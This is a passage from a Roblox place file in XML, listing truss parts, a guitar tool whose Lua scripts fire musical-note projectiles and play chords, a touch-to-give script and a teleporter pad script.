				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>14</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX704">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-36</X>
					<Y>25.4000015</Y>
					<Z>-56</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>14</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX705">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-25</X>
					<Y>46.6000061</Y>
					<Z>-63</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>6</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX706">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-41.0000534</X>
					<Y>9.39999866</Y>
					<Z>-50.9999504</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>18</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Tool" referent="RBX707">
			<Properties>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>-1.5</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>-0.857573867</R00>
					<R01>-0.424154133</R01>
					<R02>0.290964484</R02>
					<R10>-0.514360785</R10>
					<R11>0.707430542</R11>
					<R12>-0.484742165</R12>
					<R20>-0.000231756538</R20>
					<R21>-0.56536293</R21>
					<R22>-0.824842215</R22>
				</CoordinateFrame>
				<string name="Name">Electric Blue (Blue Stratobloxxer)</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=12503958</url></Content>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX708">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1016</int>
					<CoordinateFrame name="CFrame">
						<X>196.5</X>
						<Y>8.87914753</Y>
						<Z>207.375</Z>
						<R00>1</R00>
						<R01>1.05585059e-006</R01>
						<R02>-4.47567363e-005</R02>
						<R10>4.47567363e-005</R10>
						<R11>1.04527521e-006</R11>
						<R12>0.99999994</R12>
						<R20>1.05589584e-006</R20>
						<R21>-0.99999994</R21>
						<R22>1.04522792e-006</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.0165327489</X>
						<Y>-0.000188382241</Y>
						<Z>-0.00303196046</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0.00240822067</X>
						<Y>0.00400071312</Y>
						<Z>-0.00277604419</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>5</X>
						<Y>1.20000005</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX709">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1082816</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><url>http://www.roblox.com/asset?id=12503965</url></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Sound" referent="RBX710">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">IIIchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089404</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX711">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">IVIIchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089405</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX712">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">IVchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089406</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX713">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">Ichord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089403</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX714">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">VVIIchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089410</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX715">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">Vchord</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=1089407</url></Content>
					<float name="Volume">1</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX716">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Launcher</string>
					<string name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent
local vel = Instance.new(&quot;BodyVelocity&quot;)

vel.Parent = Rocket

Rocket.Locked = true
Rocket.Size = Vector3.new(1,1,1)
Rocket.BrickColor = BrickColor.new(26)

Rocket.CanCollide = false

Tool.Note:clone().Parent = Rocket
Tool.RocketScript:clone().Parent = Rocket
--Tool.Explosion:clone().Parent = Rocket
--Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget)

	local vCharacter = Tool.Parent;
	
	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local chord = Tool.Ichord:clone()

	if (Tool.mode.Value==1) then
		chord = Tool.Ichord:clone()
	elseif (Tool.mode.Value==2) then
		chord = Tool.IVIIchord:clone()
	elseif (Tool.mode.Value==3) then
		chord = Tool.Vchord:clone()
	elseif (Tool.mode.Value==4) then
		chord = Tool.VVIIchord:clone()
	elseif (Tool.mode.Value==5) then
		chord = Tool.IVchord:clone()
	elseif (Tool.mode.Value==6) then
		chord = Tool.IIIchord:clone()
	end
	
	chord.Name = &quot;chord&quot;

	local dir = Vector3.new(math.random()-.5, 1, math.random() - .5).unit

	local missile = Rocket:clone()

	chord.Parent = missile

	local pos = vHandle.Position + Vector3.new(0, 5 ,0)
	
	--missile.Position = pos
	missile.CFrame = CFrame.new(pos,  pos + dir)

	missile.BodyVelocity.velocity = dir * 30

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	end	
	missile.RocketScript.Disabled = false
	missile.Parent = game.Workspace
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	fire(targetPos)

	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="SpecialMesh" referent="RBX717">
				<Properties>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1088207</url></Content>
					<token name="MeshType">5</token>
					<string name="Name">Note</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>0.100000001</X>
						<Y>0.100000001</Y>
						<Z>0.100000001</Z>
					</Vector3>
					<Content name="TextureId"><url>http://www.roblox.com/asset/?id=1088099</url></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX718">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">RocketScript</string>
					<string name="Source">shaft = script.Parent




note = script.Parent.chord
note:play()

wait(5)

-- at max range
--script.Parent.Explosion.PlayOnRemove = false
note:stop()
shaft:remove()</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX719">
				<Properties>
					<string name="Name">mode</string>
					<int name="Value">5</int>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX720">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<string name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	--mouse.Icon = &quot;rbxasset://textures\\GunWaitCursor.png&quot;

	--wait(7)
	--mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	enabled = true

end

function Message(text)

	-- kill all existing
	local c = game.Players.LocalPlayer:GetChildren()
	
	for i=1,#c do
		if (c[i].className == &quot;Message&quot;) then
			c[i]:Remove()
		end
	end


	local m = Instance.new(&quot;Message&quot;)
	m.Text = text
	m.Parent = game.Players.LocalPlayer
	wait(1)
	m:Remove()
end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;http://www.roblox.com/asset/?id=1088199&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.KeyDown:connect(onKeyDown) 
end


Tool.Equipped:connect(onEquippedLocal)


function onKeyDown(key) 
	if (key~=nil) then 
		local key = key:lower() 
		if (key==&quot;f&quot;) then 
			Tool.mode.Value=1
			coroutine.resume(coroutine.create(Message),&quot;I Chord&quot;)
		elseif (key==&quot;k&quot;) then
			Tool.mode.Value=2
			coroutine.resume(coroutine.create(Message),&quot;IV Chord&quot;)
		elseif (key==&quot;h&quot;) then
			Tool.mode.Value=3
			coroutine.resume(coroutine.create(Message),&quot;V Chord&quot;)
		elseif (key==&quot;j&quot;) then
			Tool.mode.Value=4
			coroutine.resume(coroutine.create(Message),&quot;V-VII Transition&quot;)
		elseif (key==&quot;g&quot;) then
			Tool.mode.Value=5
			coroutine.resume(coroutine.create(Message),&quot;I-VII Transition&quot;)
		elseif (key==&quot;l&quot;) then
			Tool.mode.Value=6
			coroutine.resume(coroutine.create(Message),&quot;III Chord&quot;)
		end
	end
end

--[[function pm(x)

	if game.Players:findFirstChild(script.Parent.Parent.Name)~=nil then
		local bob=game.Players:findFirstChild(script.Parent.Parent.Name)
		local mess=Instance.new(&quot;Message&quot;)
		while bob:findFirstChild(&quot;Message&quot;)~=nil do bob.Message:remove() end
		mess.Parent=bob
		if x==1 then
			mess.Text=&quot;I Chord&quot;
		elseif x==2 then
			mess.Text=&quot;IV Chord&quot;
		elseif x==3 then
			mess.Text=&quot;V Chord&quot;
		elseif x==4 then
			mess.Text=&quot;V-VII Transition&quot;
		elseif x==5 then
			mess.Text=&quot;I-VII Transition&quot;
		elseif x==6 then
			mess.Text=&quot;III Chord&quot;
		end
		wait(1)
		mess.Parent=nil
	end
end]]

function Leap()
wait(0.25)--Might want to change this
script.Parent.GripForward = Vector3.new(-0,-0,1)
script.Parent.GripPos = Vector3.new(-1, 0, 0)
script.Parent.GripRight = Vector3.new(-1, 0, 0)
script.Parent.GripUp = Vector3.new(0, 1, 0)
wait(0.75)--Might want to change this also...
script.Parent.GripForward = Vector3.new(-0.291, 0.485, 0.825)
script.Parent.GripPos = Vector3.new(-1.5, 0, 0)
script.Parent.GripRight = Vector3.new(-0.857, -0.514, 0)
script.Parent.GripUp = Vector3.new(-0.424, 0.707, -0.565)
end

script.Parent.Parent.Humanoid.Jumping:connect(Leap)</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX721">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">put this in ur weapon</string>
					<string name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX722">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>201.5</X>
					<Y>20.2000008</Y>
					<Z>199</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>15</X>
					<Y>1.20000005</Y>
					<Z>14</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX723">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>79</X>
					<Y>0.600000024</Y>
					<Z>42</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">teleporter1f</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>0.400000006</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX724">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">--[[
INSTRUCTIONS: Place both teleporter1a and teleporter1b in the same directory
(e.g. both in workspace directly, or both directly in the same group or model)
Otherwise it wont work. Once youve done that, jump on the teleporter to teleport to the other.
If you want more than one set of teleporters I will be adding more types in the future.

Send me requests and ideas - miked.
--]]


--Enter the name of the model you want to go to here.
------------------------------------
modelname=&quot;teleporter1g&quot;
------------------------------------

function onTouched(part)
	if part.Parent ~= nil then
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
		if h~=nil then
			local teleportfrom=script.Parent.Enabled.Value
			if teleportfrom~=0 then
				if h==humanoid then
				return
				end
				local teleportto=script.Parent.Parent:findFirstChild(modelname)
				if teleportto~=nil then
					local torso = h.Parent.Torso
					local location = {teleportto.Position}
					local i = 1

					local x = location[i].x
					local y = location[i].y
					local z = location[i].z
				
					x = x + math.random(-1, 1)
					z = z + math.random(-1, 1)
					y = y + math.random(2, 3)

					local cf = torso.CFrame
					local lx = 0
					local ly = y
					local lz = 0
					
					script.Parent.Enabled.Value=0
					teleportto.Enabled.Value=0
					torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
					wait(.1)
					script.Parent.Enabled.Value=1
					teleportto.Enabled.Value=1
				else
					print(&quot;Could not find teleporter!&quot;)
				end
			end
		end
	end
end

script.Parent.Touched:connect(onTouched)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="IntValue" referent="RBX725">
				<Properties>
					<string name="Name">Enabled</string>
					<int name="Value">1</int>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX726">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX727">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>1.60000002</Y>
						<Z>223.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>11</X>
						<Y>2.4000001</Y>
						<Z>9</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX728">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>4</Y>
						<Z>224.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
